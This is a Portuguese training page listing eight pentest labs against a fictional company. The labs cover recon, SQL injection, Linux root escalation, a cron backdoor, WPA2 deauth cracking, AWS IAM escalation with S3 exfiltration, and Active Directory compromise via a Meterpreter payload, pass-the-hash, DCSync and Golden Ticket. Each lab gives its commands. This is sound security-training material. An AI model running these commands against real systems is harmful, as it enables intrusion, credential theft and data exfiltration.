Pular para conteúdo

Hands-On Labs

Fonte: javascript/pentest/pentest.jsPentestModule.LABS (aba 🧪 HANDS-ON LABS). 8 laboratórios práticos, cada um mapeado a uma fase do kill chain, com cenário, comandos, resultado esperado, achados e flag de conclusão — no espírito ágil, cada lab é uma história de usuário hands-on entregável de forma independente.

LAB 01 · OSINT & DNS Recon 🔍

  • Fase: Reconhecimento · Dificuldade: Iniciante · Duração: 30min
  • Objetivo: Realizar reconhecimento passivo do alvo usando técnicas OSINT e enumeração DNS.
  • Cenário: Pentest na empresa fictícia "TargetCorp" — mapear infraestrutura pública antes de qualquer interação técnica.
Comando Descrição Resultado esperado
whois targetcorp.com.br Consulta WHOIS — proprietário, DNS, datas Registrant + NS
dig targetcorp.com.br ANY Enumeração DNS completa Registros A, MX, TXT
theHarvester -d targetcorp.com.br -b google,linkedin Coleta de emails e subdomínios Emails + subdomínios (vpn, dev, api)
shodan search "targetcorp.com.br" org:"TargetCorp" Busca Shodan IP + portas + versão Apache/Ubuntu
site:targetcorp.com.br filetype:pdf OR filetype:docx Google Dork para metadados Documentos públicos com metadados

Achados: 2 servidores de e-mail · 3 subdomínios (vpn, dev, api) · Apache 2.4.41 exposto (CVE-2021-41773) · 4 e-mails coletados. Flag: FLAG{osint_vpn_api_dev_exposed}


LAB 02 · Nmap & Vulnerability Scan 📡

  • Fase: Scanning · Dificuldade: Iniciante · Duração: 45min
  • Objetivo: Executar varredura de portas e identificar vulnerabilidades no alvo do Lab 01.
Comando Descrição Resultado esperado
nmap -sS -p- --open -T4 198.51.100.42 SYN Scan completo 22/80/443/8080 abertas
nmap -sV -sC -p 22,80,443,8080 198.51.100.42 Versões + scripts NSE OpenSSH 7.4, Apache 2.4.41, WordPress 5.8
nmap --script vuln -p 80,443 198.51.100.42 Scripts NSE de vulnerabilidades CVE-2021-41773, CVE-2020-11738
nikto -h http://198.51.100.42 -ssl Scanner web Nikto Headers ausentes, /wp-admin/ acessível
gobuster dir -u http://198.51.100.42 -w common.txt Enumeração de diretórios .git exposto (crítico!)

Achados: CVE-2021-41773 confirmada (CVSS 9.8) · repositório .git exposto · phpinfo.php exposto · /wp-admin/ sem rate limiting. Flag: FLAG{git_exposed_cve_9_8_critical}


LAB 03 · SQL Injection com SQLMap ⚡

  • Fase: Exploração · Dificuldade: Intermediário · Duração: 60min
  • Objetivo: Explorar SQL Injection em formulário de login e extrair dados do banco.
Comando Descrição Resultado esperado
sqlmap -u '.../api/login' --data='{...}' --level=5 --risk=3 Detecção automática de SQLi Parâmetro vulnerável, DBMS MySQL 8.0
sqlmap -u ... --dbs Enumeração de bancos targetcorp_prod, wordpress
sqlmap -u ... -D targetcorp_prod --tables Listagem de tabelas tb_credenciais, tb_usuarios
sqlmap -u ... -D targetcorp_prod -T tb_credenciais --dump Extração da tabela Hashes bcrypt extraídos
hashcat -m 3200 hashes.txt rockyou.txt Quebra de hashes bcrypt 3 senhas quebradas em 15min

Achados: SQLi UNION-based (CVSS 9.8) · banco comprometido · 12 hashes extraídos · 3 senhas quebradas. Flag: FLAG{sqli_union_creds_dumped_admin}


LAB 04 · Linux Privilege Escalation 🏴

  • Fase: Pós-Exploração · Dificuldade: Avançado · Duração: 90min
  • Objetivo: Escalar privilégios de www-data para root via SUID e sudo misconfiguration.
Comando Descrição Resultado esperado
id && whoami && uname -a Verificação inicial uid=33(www-data)
sudo -l Comandos sudo sem senha NOPASSWD: /usr/bin/python3
sudo python3 -c "import os; os.execl('/bin/sh','sh','-p')" Exploração sudo python3 Shell root obtida
find / -perm -4000 -type f 2>/dev/null Busca SUID Binários com SUID (GTFOBins)
echo "* * * * * root /tmp/.backdoor" >> /etc/crontab Persistência via cron Backdoor reversa a cada minuto

Achados: Root via sudo python3 misconfiguration · SUID em /usr/bin/find · persistência via cron root. Flag: FLAG{root_sudo_python3_persistence}


LAB 05 · Relatório Técnico CVSS 📋

  • Fase: Relatório · Dificuldade: Intermediário · Duração: 45min
  • Objetivo: Calcular CVSS v3.1 e redigir seção de relatório técnico da SQLi encontrada.
Item Descrição Resultado esperado
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Vetor CVSS da SQLi crítica Base Score 10.0 · Severity CRITICAL
Impacto de Negócio (LGPD Art. 48) Classificação de impacto Multa potencial R$ 50M (ANPD)
Remediação P1 (48h) Prepared Statements Elimina SQLi
Remediação P2 WAF + Rate Limiting Defesa em profundidade
Retesting (15 dias úteis) Confirmação de patch Parâmetro corrigido ✓

Achados: SQLi CVSS 10.0 (48h) · Path Traversal CVSS 9.8 (72h) · .git exposto CVSS 7.5 (1h) · phpinfo CVSS 5.3 (4h). Flag: FLAG{report_cvss10_remediation_lgpd}


LAB 06 · Wireless WPA2 Attack 📶

  • Fase: Scanning · Dificuldade: Intermediário · Duração: 60min
  • Objetivo: Capturar handshake WPA2 e comprometer a rede Wi-Fi corporativa via dicionário.
Comando Descrição Resultado esperado
airmon-ng check kill && airmon-ng start wlan0 Modo monitor wlan0mon ativa
airodump-ng wlan0mon --band abg Varredura passiva BSSID + ESSID TargetCorp-WiFi
airodump-ng -c 6 --bssid ... -w capture wlan0mon Captura focada Aguardando handshake
aireplay-ng -0 5 -a ... -c ... wlan0mon Deauth attack Handshake WPA capturado
hashcat -m 22000 capture.hc22000 rockyou.txt -r best64.rule Quebra do handshake Senha corporativa quebrada

Achados: WPA2-PMKID capturado em 4s · senha corporativa padrão · acesso à rede interna (47 dispositivos). Flag: FLAG{wpa2_deauth_hashcat_corporate_pwned}


LAB 07 · AWS IAM Privilege Escalation ☁️

  • Fase: Exploração · Dificuldade: Avançado · Duração: 90min
  • Objetivo: Explorar credenciais AWS expostas em repositório público e escalar via IAM misconfiguration.
Comando Descrição Resultado esperado
trufflehog github --repo ... --only-verified Scan de segredos no repo Credenciais AWS verificadas ativas
aws sts get-caller-identity --profile compromised Verificar identidade Conta + ARN do usuário
pacu --module iam__enum_permissions Enumerar permissões IAM 23 permissões identificadas
pacu --module iam__privesc_scan Vetores de escalada IAM CreatePolicyVersion explorável
aws s3 sync s3://targetcorp-backups ./exfil/ Exfiltração S3 4.2 GB exfiltrados (LGPD)

Achados: Credenciais expostas por 47 dias · escalada via iam:CreatePolicyVersion · AdministratorAccess obtido · 4.2GB exfiltrados. Flag: FLAG{aws_iam_privesc_s3_exfil_admin}


LAB 08 · Red Team C2 & Persistence 🔴

  • Fase: Pós-Exploração · Dificuldade: Expert · Duração: 120min
  • Objetivo: Estabelecer C2 persistente, mover lateralmente no AD e comprometer o Domain Controller.
Comando Descrição Resultado esperado
msfvenom -p windows/x64/meterpreter/reverse_https ... Payload Meterpreter HTTPS Payload gerado, evasão HTTPS
Invoke-BloodHound -CollectionMethod All Coleta AD via BloodHound 3847 usuários, 23 computadores mapeados
crackmapexec smb 192.168.10.0/24 -u administrator -H ... Pass-the-Hash na rede DC01 comprometido
secretsdump.py TARGETCORP/administrator@... -hashes ... DCSync 1247 hashes extraídos
ticketer.py -nthash ... -domain TARGETCORP.LOCAL Administrator Golden Ticket Persistência de 10 anos

Achados: DC comprometido via Pass-the-Hash · DCSync com 1247 hashes · Golden Ticket · MITRE ATT&CK: T1003, T1021, T1558, T1550. Flag: FLAG{dc_sync_golden_ticket_domain_owned}


Labs como histórias ágeis

Lab Fase Story points sugeridos
01 · OSINT & DNS Recon Reconhecimento 2
02 · Nmap & Vulnerability Scan Scanning 3
03 · SQL Injection com SQLMap Exploração 5
04 · Linux Privilege Escalation Pós-Exploração 5
05 · Relatório Técnico CVSS Relatório 3
06 · Wireless WPA2 Attack Scanning 5
07 · AWS IAM Privilege Escalation Exploração 8
08 · Red Team C2 & Persistence Pós-Exploração 8

Total: 39 story points — dá para uma sprint dedicada de "capacitação hands-on" no roadmap de treinamento da equipe de segurança.